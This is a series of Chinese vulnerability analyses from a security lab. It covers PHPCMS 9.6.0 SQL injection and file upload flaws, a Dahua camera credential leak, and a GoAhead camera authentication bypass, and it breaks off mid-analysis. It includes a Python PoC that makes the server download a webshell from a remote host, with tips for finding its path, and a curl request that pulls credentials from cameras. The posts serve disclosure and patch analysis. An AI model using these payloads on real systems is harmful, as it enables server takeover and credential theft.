-
PHPCMS v9.6.0 wap模块 SQL注入
Author: p0wd3r (知道创宇404安全实验室)
Date: 2017-04-130x00 漏洞概述
漏洞简介
昨天 phpcms 发布了 9.6.1 版本,这次补丁中修复了两个安全漏洞(任意文件上传和SQL注入), 相比于任意文件上传,这个 SQL 注入虽然没那么简单粗暴,但攻击思路还是值得我们学习。
漏洞影响
SQL 注入
版本:9.6.00x01 漏洞复现
首先我们看
phpcms/modules/attachment/attachments.php
中的swfupload_json
函数:这里用
safe_repalce
过滤输入,跟进这个函数:函数将敏感字符替换为空,但问题是只执行一次,所以当输入是
%*27
时*
被过滤,进而可以得到%27
。回到
swfupload_json
中,safe_replace
处理后,程序使用json_encode
+set_cookie
生成加密的 Cookie。也就是说利用swfupload_json
我们可以构造一个含有%27
等 payload 的加密值。不过执行
swfupload_json
需要一点条件,我们看构造函数:如果
$this->userid
不为空我们才可以继续执行。$this->userid
和sys_auth($_POST['userid_flash'], 'DECODE')
的值有关,并且程序并没有检查$this->userid
的有效性,所以只要传入的userid_flash
是个合法的加密值就可以通过检测进而使用swfupload_json
了。那么如何获取一个合法加密值呢?这就来到了
phpcms/modules/wap/index.php
中:在 wap 模块的构造函数中程序根据
siteid
生成了一个加密 Cookie,生成的值我们是可以通过响应头获取到的。至此,我们可以通过以下两个步骤获得一个含有 payload 的加密值:
- 访问 wap 模块得到一个普通的加密 Cookie
- 将上面得到的加密 Cookie 作为
userid_flash
的值,带上 payload 访问swfupload_json
得到含有 payload 的加密值之后,我们继续找哪里可以用到这个值。 我们看
phpcms/modules/content/down.php
:这里用
sys_auth
解密输入的a_k
,然后使用parse_str
(http://php.net/manual/zh/function.parse-str.php )处理a_k
,该函数的作用简单来说就是以&
分隔符,解析并注册变量。通过 IDE 的提示我们可以看到在静态的情况下$id
是未初始化的,所以我们可以通过parse_str
注册$id
进而将可控数据带入查询,另外parse_str
可以进行 URL 解码,所以之前我们得到的%27
也就被解码成了真正可以利用的'
。(parse_str
还可能导致变量覆盖的问题,详见 https://github.com/80vul/pasc2at )所以整个攻击流程如下:
- 通过 wap 模块构造含有 payload 的加密值
- 将加密值作为
a_k
的值访问down.php
的init
函数
攻击效果如图:
0x02 补丁分析
对
a_k
进行过滤,并且对id
进行类型转换。0x03 参考
没有评论 -
PHPCMS v9.6.0 任意文件上传漏洞分析
Author: p0wd3r (知道创宇404安全实验室)
Date: 2017-04-120x00 漏洞概述
漏洞简介
前几天 phpcms v9.6 的任意文件上传的漏洞引起了安全圈热议,通过该漏洞攻击者可以在未授权的情况下任意文件上传,影响不容小觑。phpcms官方今天发布了9.6.1版本,对漏洞进行了补丁修复.
漏洞影响
任意文件上传
0x01 漏洞复现
本文从 PoC 的角度出发,逆向的还原漏洞过程,若有哪些错误的地方,还望大家多多指教。
首先我们看简化的 PoC :
1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="kwd">import</span><span class="pln"> re</span></code></li><li class="L1"><code class="lang-python"><span class="kwd">import</span><span class="pln"> requests</span></code></li><li class="L2"><code class="lang-python"></code></li><li class="L3"><code class="lang-python"></code></li><li class="L4"><code class="lang-python"><span class="kwd">def</span><span class="pln"> poc</span><span class="pun">(</span><span class="pln">url</span><span class="pun">):</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> u </span><span class="pun">=</span><span class="pln"> </span><span class="str">'{}/index.php?m=member&c=index&a=register&siteid=1'</span><span class="pun">.</span><span class="pln">format</span><span class="pun">(</span><span class="pln">url</span><span class="pun">)</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> data </span><span class="pun">=</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> </span><span class="str">'siteid'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'1'</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> </span><span class="str">'modelid'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'1'</span><span class="pun">,</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> </span><span class="str">'username'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'test'</span><span class="pun">,</span></code></li><li class="L0"><code class="lang-python"><span class="pln"> </span><span class="str">'password'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'testxx'</span><span class="pun">,</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> </span><span class="str">'email'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'test@test.com'</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> </span><span class="str">'info[content]'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'<img src=http://url/shell.txt?.php#.jpg>'</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> </span><span class="str">'dosubmit'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'1'</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> </span><span class="pun">}</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> rep </span><span class="pun">=</span><span class="pln"> requests</span><span class="pun">.</span><span class="pln">post</span><span class="pun">(</span><span class="pln">u</span><span class="pun">,</span><span class="pln"> data</span><span class="pun">=</span><span class="pln">data</span><span class="pun">)</span></code></li><li class="L6"><code class="lang-python"></code></li><li class="L7"><code class="lang-python"><span class="pln"> shell </span><span class="pun">=</span><span class="pln"> </span><span class="str">''</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> re_result </span><span class="pun">=</span><span class="pln"> re</span><span class="pun">.</span><span class="pln">findall</span><span class="pun">(</span><span class="pln">r</span><span class="str">'&lt;img src=(.*)&gt'</span><span class="pun">,</span><span class="pln"> rep</span><span class="pun">.</span><span class="pln">content</span><span class="pun">)</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> len</span><span class="pun">(</span><span class="pln">re_result</span><span class="pun">):</span></code></li><li class="L0"><code class="lang-python"><span class="pln"> shell </span><span class="pun">=</span><span class="pln"> re_result</span><span class="pun">[</span><span class="lit">0</span><span class="pun">]</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> </span><span class="kwd">print</span><span class="pln"> shell</span></code></li></ol>可以看到 PoC 是发起注册请求,对应的是
phpcms/modules/member/index.php
中的register
函数,所以我们在那里下断点,接着使用 PoC 并开启动态调试,在获取一些信息之后,函数走到了如下位置:通过 PoC 不难看出我们的 payload 在
$_POST['info']
里,而这里对$_POST['info']
进行了处理,所以我们有必要跟进。在使用
new_html_special_chars
对<>
进行编码之后,进入$member_input->get
函数,该函数位于caches/caches_model/caches_data/member_input.class.php
中,接下来函数走到如下位置:由于我们的 payload 是
info[content]
,所以调用的是editor
函数,同样在这个文件中:接下来函数执行
$this->attachment->download
函数进行下载,我们继续跟进,在phpcms/libs/classes/attachment.class.php
中:1<ol class="linenums"><li class="L0"><code class="lang-php"><span class="kwd">function</span><span class="pln"> download</span><span class="pun">(</span><span class="pln">$field</span><span class="pun">,</span><span class="pln"> $value</span><span class="pun">,</span><span class="pln">$watermark </span><span class="pun">=</span><span class="pln"> </span><span class="str">'0'</span><span class="pun">,</span><span class="pln">$ext </span><span class="pun">=</span><span class="pln"> </span><span class="str">'gif|jpg|jpeg|bmp|png'</span><span class="pun">,</span><span class="pln"> $absurl </span><span class="pun">=</span><span class="pln"> </span><span class="str">''</span><span class="pun">,</span><span class="pln"> $basehref </span><span class="pun">=</span><span class="pln"> </span><span class="str">''</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-php"><span class="pun">{</span></code></li><li class="L2"><code class="lang-php"><span class="pln"> </span><span class="kwd">global</span><span class="pln"> $image_d</span><span class="pun">;</span></code></li><li class="L3"><code class="lang-php"><span class="pln"> $this</span><span class="pun">-></span><span class="pln">att_db </span><span class="pun">=</span><span class="pln"> pc_base</span><span class="pun">::</span><span class="pln">load_model</span><span class="pun">(</span><span class="str">'attachment_model'</span><span class="pun">);</span></code></li><li class="L4"><code class="lang-php"><span class="pln"> $upload_url </span><span class="pun">=</span><span class="pln"> pc_base</span><span class="pun">::</span><span class="pln">load_config</span><span class="pun">(</span><span class="str">'system'</span><span class="pun">,</span><span class="str">'upload_url'</span><span class="pun">);</span></code></li><li class="L5"><code class="lang-php"><span class="pln"> $this</span><span class="pun">-></span><span class="pln">field </span><span class="pun">=</span><span class="pln"> $field</span><span class="pun">;</span></code></li><li class="L6"><code class="lang-php"><span class="pln"> $dir </span><span class="pun">=</span><span class="pln"> date</span><span class="pun">(</span><span class="str">'Y/md/'</span><span class="pun">);</span></code></li><li class="L7"><code class="lang-php"><span class="pln"> $uploadpath </span><span class="pun">=</span><span class="pln"> $upload_url</span><span class="pun">.</span><span class="pln">$dir</span><span class="pun">;</span></code></li><li class="L8"><code class="lang-php"><span class="pln"> $uploaddir </span><span class="pun">=</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">upload_root</span><span class="pun">.</span><span class="pln">$dir</span><span class="pun">;</span></code></li><li class="L9"><code class="lang-php"><span class="pln"> $string </span><span class="pun">=</span><span class="pln"> new_stripslashes</span><span class="pun">(</span><span class="pln">$value</span><span class="pun">);</span></code></li><li class="L0"><code class="lang-php"><span class="pln"> </span><span class="kwd">if</span><span class="pun">(!</span><span class="pln">preg_match_all</span><span class="pun">(</span><span class="str">"/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i"</span><span class="pun">,</span><span class="pln"> $string</span><span class="pun">,</span><span class="pln"> $matches</span><span class="pun">))</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> $value</span><span class="pun">;</span></code></li><li class="L1"><code class="lang-php"><span class="pln"> $remotefileurls </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">();</span></code></li><li class="L2"><code class="lang-php"><span class="pln"> </span><span class="kwd">foreach</span><span class="pun">(</span><span class="pln">$matches</span><span class="pun">[</span><span class="lit">3</span><span class="pun">]</span><span class="pln"> </span><span class="kwd">as</span><span class="pln"> $matche</span><span class="pun">)</span></code></li><li class="L3"><code class="lang-php"><span class="pln"> </span><span class="pun">{</span></code></li><li class="L4"><code class="lang-php"><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">strpos</span><span class="pun">(</span><span class="pln">$matche</span><span class="pun">,</span><span class="pln"> </span><span class="str">'://'</span><span class="pun">)</span><span class="pln"> </span><span class="pun">===</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">continue</span><span class="pun">;</span></code></li><li class="L5"><code class="lang-php"><span class="pln"> dir_create</span><span class="pun">(</span><span class="pln">$uploaddir</span><span class="pun">);</span></code></li><li class="L6"><code class="lang-php"><span class="pln"> $remotefileurls</span><span class="pun">[</span><span class="pln">$matche</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">fillurl</span><span class="pun">(</span><span class="pln">$matche</span><span class="pun">,</span><span class="pln"> $absurl</span><span class="pun">,</span><span class="pln"> $basehref</span><span class="pun">);</span></code></li><li class="L7"><code class="lang-php"><span class="pln"> </span><span class="pun">}</span></code></li><li class="L8"><code class="lang-php"><span class="pln"> unset</span><span class="pun">(</span><span class="pln">$matches</span><span class="pun">,</span><span class="pln"> $string</span><span class="pun">);</span></code></li><li class="L9"><code class="lang-php"><span class="pln"> $remotefileurls </span><span class="pun">=</span><span class="pln"> array_unique</span><span class="pun">(</span><span class="pln">$remotefileurls</span><span class="pun">);</span></code></li><li class="L0"><code class="lang-php"><span class="pln"> $oldpath </span><span class="pun">=</span><span class="pln"> $newpath </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">();</span></code></li><li class="L1"><code class="lang-php"><span class="pln"> </span><span class="kwd">foreach</span><span class="pun">(</span><span class="pln">$remotefileurls </span><span class="kwd">as</span><span class="pln"> $k</span><span class="pun">=></span><span class="pln">$file</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code class="lang-php"><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">strpos</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">,</span><span class="pln"> </span><span class="str">'://'</span><span class="pun">)</span><span class="pln"> </span><span class="pun">===</span><span class="pln"> </span><span class="kwd">false</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> strpos</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">,</span><span class="pln"> $upload_url</span><span class="pun">)</span><span class="pln"> </span><span class="pun">!==</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">continue</span><span class="pun">;</span></code></li><li class="L3"><code class="lang-php"><span class="pln"> $filename </span><span class="pun">=</span><span class="pln"> fileext</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">);</span></code></li><li class="L4"><code class="lang-php"><span class="pln"> $file_name </span><span class="pun">=</span><span class="pln"> basename</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">);</span></code></li><li class="L5"><code class="lang-php"><span class="pln"> $filename </span><span class="pun">=</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">getname</span><span class="pun">(</span><span class="pln">$filename</span><span class="pun">);</span></code></li><li class="L6"><code class="lang-php"></code></li><li class="L7"><code class="lang-php"><span class="pln"> $newfile </span><span class="pun">=</span><span class="pln"> $uploaddir</span><span class="pun">.</span><span class="pln">$filename</span><span class="pun">;</span></code></li><li class="L8"><code class="lang-php"><span class="pln"> $upload_func </span><span class="pun">=</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">upload_func</span><span class="pun">;</span></code></li><li class="L9"><code class="lang-php"><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$upload_func</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">,</span><span class="pln"> $newfile</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code class="lang-php"><span class="pln"> $oldpath</span><span class="pun">[]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $k</span><span class="pun">;</span></code></li><li class="L1"><code class="lang-php"><span class="pln"> $GLOBALS</span><span class="pun">[</span><span class="str">'downloadfiles'</span><span class="pun">][]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $newpath</span><span class="pun">[]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $uploadpath</span><span class="pun">.</span><span class="pln">$filename</span><span class="pun">;</span></code></li><li class="L2"><code class="lang-php"><span class="pln"> </span><span class="lit">@chmod</span><span class="pun">(</span><span class="pln">$newfile</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0777</span><span class="pun">);</span></code></li><li class="L3"><code class="lang-php"><span class="pln"> $fileext </span><span class="pun">=</span><span class="pln"> fileext</span><span class="pun">(</span><span class="pln">$filename</span><span class="pun">);</span></code></li><li class="L4"><code class="lang-php"><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$watermark</span><span class="pun">){</span></code></li><li class="L5"><code class="lang-php"><span class="pln"> watermark</span><span class="pun">(</span><span class="pln">$newfile</span><span class="pun">,</span><span class="pln"> $newfile</span><span class="pun">,</span><span class="pln">$this</span><span class="pun">-></span><span class="pln">siteid</span><span class="pun">);</span></code></li><li class="L6"><code class="lang-php"><span class="pln"> </span><span class="pun">}</span></code></li><li class="L7"><code class="lang-php"><span class="pln"> $filepath </span><span class="pun">=</span><span class="pln"> $dir</span><span class="pun">.</span><span class="pln">$filename</span><span class="pun">;</span></code></li><li class="L8"><code class="lang-php"><span class="pln"> $downloadedfile </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">(</span><span class="str">'filename'</span><span class="pun">=></span><span class="pln">$filename</span><span class="pun">,</span><span class="pln"> </span><span class="str">'filepath'</span><span class="pun">=></span><span class="pln">$filepath</span><span class="pun">,</span><span class="pln"> </span><span class="str">'filesize'</span><span class="pun">=></span><span class="pln">filesize</span><span class="pun">(</span><span class="pln">$newfile</span><span class="pun">),</span><span class="pln"> </span><span class="str">'fileext'</span><span class="pun">=></span><span class="pln">$fileext</span><span class="pun">);</span></code></li><li class="L9"><code class="lang-php"><span class="pln"> $aid </span><span class="pun">=</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">add</span><span class="pun">(</span><span class="pln">$downloadedfile</span><span class="pun">);</span></code></li><li class="L0"><code class="lang-php"><span class="pln"> $this</span><span class="pun">-></span><span class="pln">downloadedfiles</span><span class="pun">[</span><span class="pln">$aid</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $filepath</span><span class="pun">;</span></code></li><li class="L1"><code class="lang-php"><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code class="lang-php"><span class="pln"> </span><span class="pun">}</span></code></li><li class="L3"><code class="lang-php"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> str_replace</span><span class="pun">(</span><span class="pln">$oldpath</span><span class="pun">,</span><span class="pln"> $newpath</span><span class="pun">,</span><span class="pln"> $value</span><span class="pun">);</span></code></li><li class="L4"><code class="lang-php"><span class="pun">}</span></code></li></ol>函数中先对
$value
中的引号进行了转义,然后使用正则匹配:1<ol class="linenums"><li class="L0"><code class="lang-php"><span class="pln">$ext </span><span class="pun">=</span><span class="pln"> </span><span class="str">'gif|jpg|jpeg|bmp|png'</span><span class="pun">;</span></code></li><li class="L1"><code class="lang-php"><span class="pun">...</span></code></li><li class="L2"><code class="lang-php"><span class="pln">$string </span><span class="pun">=</span><span class="pln"> new_stripslashes</span><span class="pun">(</span><span class="pln">$value</span><span class="pun">);</span></code></li><li class="L3"><code class="lang-php"><span class="kwd">if</span><span class="pun">(!</span><span class="pln">preg_match_all</span><span class="pun">(</span><span class="str">"/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i"</span><span class="pun">,</span><span class="pln">$string</span><span class="pun">,</span><span class="pln"> $matches</span><span class="pun">))</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> $value</span><span class="pun">;</span></code></li></ol>这里正则要求输入满足
src/href=url.(gif|jpg|jpeg|bmp|png)
,我们的 payload (<img src=http://url/shell.txt?.php#.jpg>
)符合这一格式(这也就是为什么后面要加.jpg
的原因)。接下来程序使用这行代码来去除 url 中的锚点:
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
,处理过后$remotefileurls
的内容如下:可以看到
#.jpg
被删除了,正因如此,下面的$filename = fileext($file);
取的的后缀变成了php
,这也就是 PoC 中为什么要加#
的原因:把前面为了满足正则而构造的.jpg
过滤掉,使程序获得我们真正想要的php
文件后缀。我们继续执行:
程序调用
copy
函数,对远程的文件进行了下载,此时我们从命令行中可以看到文件已经写入了:shell 已经写入,下面我们就来看看如何获取 shell 的路径,程序在下载之后回到了
register
函数中:可以看到当
$status > 0
时会执行 SQL 语句进行 INSERT 操作,具体执行的语句如下:也就是向
v9_member_detail
的content
和userid
两列插入数据,我们看一下该表的结构:因为表中并没有
content
列,所以产生报错,从而将插入数据中的 shell 路径返回给了我们:上面我们说过返回路径是在
$status > 0
时才可以,下面我们来看看什么时候$status <= 0
,在phpcms/modules/member/classes/client.class.php
中:几个小于0的状态码都是因为用户名和邮箱,所以在 payload 中用户名和邮箱要尽量随机。
另外在 phpsso 没有配置好的时候
$status
的值为空,也同样不能得到路径。在无法得到路径的情况下我们只能爆破了,爆破可以根据文件名生成的方法来爆破:
仅仅是时间加上三位随机数,爆破起来还是相对容易些的。
0x02 补丁分析
phpcms 今天发布了9.6.1版本,针对该漏洞的具体补丁如下:
在获取文件扩展名后再对扩展名进行检测
0x03 参考
-
国内某厂商摄像头敏感信息泄露漏洞事件分析
PDF 版报告下载: 国内某厂商摄像头敏感信息泄露事件分析
English Version: Webcam Sensitive Information Disclosure Vulnerability AnalysisAuthor:知道创宇404实验室
Date:2017/03/211. 事件概述
国内某家监控产品供应商和解决方案服务商旗下有多款监控摄像机以及相关的配套设备。2017年3月5日,知道创宇旗下漏洞平台Seebug[0]上收录了一位名为“bashis”的国外安全研究员发布了一个漏洞公告,声称该厂商科技的多款摄像头存在“backdoor”漏洞[1]。随即在2017年3月6日该厂商官方在发布漏洞公告称(Security-Bulletin_030617)里确认了该漏洞存在并发布了最新的固件里修复了该漏洞。
知道创宇404实验室通过研究分析成功复现了该漏洞,确定该漏洞是一个敏感信息泄露漏洞。攻击者无需任何凭证的情况下访问一个链接即可得到摄像头设备Web管理的用户名和哈希密码等信息泄露:
攻击者通过这个泄露的用户名和哈希密码可直接控制管理该摄像头设备。随后知道创宇404实验室通过”ZoomEye 网络空间搜索引擎”[3]并于3月19日对全网进行探测。3月19日的数据结果显示互联网上仍然有20多万的摄像头设备存在该漏洞,并可能影响到除某厂商品牌外的其他多个品牌摄像头设备。
2. 漏洞影响范围
2.1 设备总量
我们使用ZoomEye提供的默认Dork(搜索条件),可以发现ZoomEye网络空间搜索引擎历史上收集了174.4万某厂商摄像头相关的IP数据[4]。
https://www.zoomeye.org/search?t=host&q=app%3A%22Dahua+Web+Camera+Server%22
2.2 受漏洞影响的风险设备的数量
针对知道创宇404安全实验室于3月19日通过对ZoomEye网络空间引擎对全球进行探测结果显示距离某厂商官方于3月6日发布升级公告后(13天)全球仍然有20.6万设备存在该信息泄露漏洞。以下是针对风险设备的统计和分析。
2.2.1 风险设备的地区分布
由下图可见,风险设备分布在全球178个国家中。在全世界范围内,美国、欧洲、非洲以及南亚地区的风险设备数量较多。而中国区域内,北京、上海、广州、南京和哈尔滨这几个城市风险设备最多。
2.2.2 风险设备的端口分布
在实际的探测中,我们发现风险摄像头的Web服务开在了不同的端口,除此以外还有各种其他的端口开放。根据统计,共有248个端口开放在互联网上,下图是数量最多的十个端口。由下图可见,大多数服务还是开放在80端口,但是也有很多安装、运维人员将端口修改到了其他端口,这样的行为在一定程度上是能够增加设备的安全性的。
2.2.3 风险设备的品牌分布
针对这些存在漏洞的设备尝试进行进一步分析,我们提取了这些设备服务器上的favicon.ico的MD5值校验,总共发现了以下五组MD5值及对应数量:
1<ol class="linenums"><li class="L0"><code><span class="pln">bd9e17c46bbbc18af2a2bd718dddad0e </span><span class="lit">197634</span></code></li><li class="L1"><code><span class="pln">b39f249362a2e4ab62be4ddbc9125f53 </span><span class="lit">5885</span><span class="pln"> </span></code></li><li class="L2"><code><span class="pln">bd1b5fef10a0846b2db322b90a57b746 </span><span class="lit">109</span></code></li><li class="L3"><code><span class="pln">d1ef1b4b9ef37b9dabec2db9e338de0f </span><span class="lit">237</span></code></li><li class="L4"><code><span class="pln">a9d07db4284b4bdb144831a9ebb8dfd7 </span><span class="lit">1546</span></code></li></ol>注:另有496个设备不存在favicon.ico文件
我们分别选取了5组md5里的部分目标进行实际访问及网页代码分析发现,这五组md5的网页代码都基本相似,在相关的JavaScript脚本代码里都存在“3.0-Web3.0”字符串,主要的区别是在WEB管理登录页面图片不一样。如:
我们注意到“bd9e17c46bbbc18af2a2bd718dddad0e”组的品牌摄像头数据量多达197634,远远超过了其他4组的数据,这些设备的登录页面截图如下:
没有看到明确的“品牌”提示,于是我们通过谷歌得搜索找到如下网页[5]:
https://www.worldeyecam.com/blog/technical-questions/configuring-ntp-imaxcampro.html 关联到一个叫“imaxcampro”的品牌摄像头。根据以上分析,我们大胆的推测5组不同的favicon.ico文件md5-hash的品牌的摄像头设备基于某厂商设备修改而来,具体发布如下[6][7][8][9]:
针对排名最多的疑似叫“imaxcampro”的品牌摄像头继续进行了全球地区分布统计:
可以看出这些设备主要分布在美欧及亚洲的韩国印度等海外市场。
3. 检测与修复
检查方法:
由于该漏洞影响较大发布检测工具可能导致漏洞细节的泄露,另漏洞发现者在漏洞公告当天就删除了相关漏洞验证程序,所以这里暂时不提供相关检测程序。对于使用上述品牌摄像头需要检查相关设备安全的单位或组织,请与知道创宇404实验室联系。
修复方法:
针对该漏洞厂商官方在3月6日就发布了相关的漏洞公告、影响设备型号及升级方法 详见[2]:
http://us.dahuasecurity.com/en/us/Security-Bulletin_030617.php针对其他影响的品牌目前知道创宇404实验室正在积极联系相关厂商确认并协助修复相关漏洞。
4. 结论
在此次事件根据及分析过程中该漏洞被披露后某厂商公司随即进行了安全应急响应确认了漏洞并发布了相关公告及固件升级,从13天后的全球统计数据及品牌分析标注了dahua的品牌只占有109个,从这个角度来看说明某厂商公司的应急是有显著的效果的,同时也说明基于同一种产品不同品牌的设备影响还非常大。这个案例也反映了一个存在于IoT等设备安全现状:厂商或品牌的合作流程里目前广泛缺少了对应的“安全”流程,这显然已经成为IoT设备安全一个重要的“缺陷”。
5. 参考链接
[0]. Seebug漏洞平台 https://www.seebug.org
[1]. 0-Day: Dahua backdoor Generation 2 and 3 https://www.seebug.org/vuldb/ssvid-92745
[2]. Dahua Security Bulletin March 6, 2017 http://us.dahuasecurity.com/en/us/Security-Bulletin_030617.php
[3]. ZoomEye 网络空间搜索引擎 https://www.zoomeye.org/
[4]. ZoomEye 网络空间搜索引擎搜索某厂商相关摄像头设备 https://www.zoomeye.org/search?t=host&q=app%3A”Dahua+Web+Camera+Server”
[5]. Configuring automatic time updating for iMaxCamPro DVRs and NVRs https://www.worldeyecam.com/blog/technical-questions/configuring-ntp-imaxcampro.html
[6]. CRECREDIT TECH http://crecreditcctv.com/
[7]. Hi-Focus http://hifocuscctv.com/
[8]. Honeywell International Inc. https://www.honeywell.com/
[9]. Worldeyecam, INC https://www.worldeyecam.com/about-us.html -
抓住“新代码”的影子 —— 基于GoAhead系列网络摄像头多个漏洞分析
Author :知道创宇404安全实验室
Date:2017年03月19日 (注:本文首发自 paper.seebug.org)
PDF 版本下载:抓住“新代码”的影子 —— 基于GoAhead系列网络摄像头多个漏洞分析
一、漏洞背景
GoAhead作为世界上最受欢迎的嵌入式Web服务器被部署在数亿台设备中,是各种嵌入式设备与应用的理想选择。当然,各厂商也会根据不同产品需求对其进行一定程度的二次开发。
2017年3月7日,Seebug漏洞平台收录了一篇基于GoAhead系列摄像头的多个漏洞。事件源于Pierre Kim在博客上发表的一篇文章,披露了存在于1250多个摄像头型号的多个通用型漏洞。作者在文章中将其中一个验证绕过漏洞归类为GoAhead服务器漏洞,但事后证明,该漏洞却是由厂商二次开发GoAhead服务器产生。于此同时,Pierre Kim将其中两个漏洞组合使用,成功获取了摄像头的最高权限。
二、漏洞分析
当我们开始着手分析这些漏洞时发现GoAhead官方源码不存在该漏洞,解开的更新固件无法找到对应程序,一系列困难接踵而至。好在根据该漏洞特殊变量名称loginuse和loginpas,我们在github上找到一个上个月还在修改的门铃项目。抓着这个“新代码”的影子,我们不仅分析出了漏洞原理,还通过分析结果找到了关于此漏洞的新的利用方式。
由于该项目依赖的一些外部环境导致无法正常编译,我们仅仅通过静态代码分析得出结论,因此难免有所疏漏。如有错误,欢迎指正。:)
1. 验证绕过导致的信息(登录凭据)泄漏漏洞
1作者给出POC: curl http://ip:port/system.ini?loginuse&loginpas根据作者给出的POC,我们进行了如下测试:
可以看出,只要
url
中含有loginuse
和loginpas
这两个值即无需验证。甚至当这两个值对应的账号密码为空或者为错误的zzzzzzzzzzzzzz
时均可通过验证。看到这里,我们大致可以判断出验证
loginuse
和loginpas
的逻辑问题导致该漏洞的出现。于是,在此门铃项目中直接搜索loginuse
定位到关键函数。/func/ieparam.c
第6407-6485
行AdjustUserPri
函数如下:1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980unsigned char AdjustUserPri( char* url ){int iRet;int iRet1;unsigned char byPri = 0;char loginuse[32];char loginpas[32];char decoderbuf[128];char temp2[128];memset( loginuse, 0x00, 32 );memset( loginpas, 0x00, 32 );memset( temp2, 0x00, 128 );iRet = GetStrParamValue( url, "loginuse", temp2, 31 );//判断是否存在loginuse值,并将获取到的值赋给temp2if ( iRet == 0x00 ){memset( decoderbuf, 0x00, 128 );URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );memset( loginuse, 0x00, 31 );strcpy( loginuse, decoderbuf );}//如果存在,则将temp2复制到loginuse数组中memset( temp2, 0x00, 128 );iRet1 = GetStrParamValue( url, "loginpas", temp2, 31 );//判断是否存在loginpas值,并将获取到的值赋给temp2if ( iRet1 == 0x00 ){memset( decoderbuf, 0x00, 128 );URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );memset( loginpas, 0x00, 31 );strcpy( loginpas, decoderbuf );}//如果存在,则将temp2复制到loginpas数组中if ( iRet == 0 ){if ( iRet1 == 0x00 ){//printf("user %s pwd:%s\n",loginuse,loginpas);byPri = GetUserPri( loginuse, loginpas );//如果两次都获取到了对应的值,则通过GetUserPri进行验证。return byPri;}}memset( loginuse, 0x00, 32 );memset( loginpas, 0x00, 32 );memset( temp2, 0x00, 128 );iRet = GetStrParamValue( url, "user", temp2, 31 );if ( iRet == 0x00 ){memset( decoderbuf, 0x00, 128 );URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );memset( loginuse, 0x00, 31 );strcpy( loginuse, decoderbuf );}memset( temp2, 0x00, 128 );iRet1 = GetStrParamValue( url, "pwd", temp2, 31 );if ( iRet1 == 0x00 ){memset( decoderbuf, 0x00, 128 );URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );memset( loginpas, 0x00, 31 );strcpy( loginpas, decoderbuf );}if ( iRet == 0 ){if ( iRet1 == 0x00 ){//printf("user %s pwd:%s\n",loginuse,loginpas);byPri = GetUserPri( loginuse, loginpas );return byPri;}}//获取user和pwd参数,逻辑结构与上方的loginuse和loginpas相同。return byPri;}我们对其中步骤做了注释,根据这段逻辑,我们先通过
GetStrParamValue()
获取loginuse
和loginpas
对应值,然后将获取值通过GetUserPri()
函数进行验证。跟进GetStrParamValue()
这个函数,我们发现了更奇怪的事情。command/cmd_thread.c
中第13-51
行GetStrParamValue()
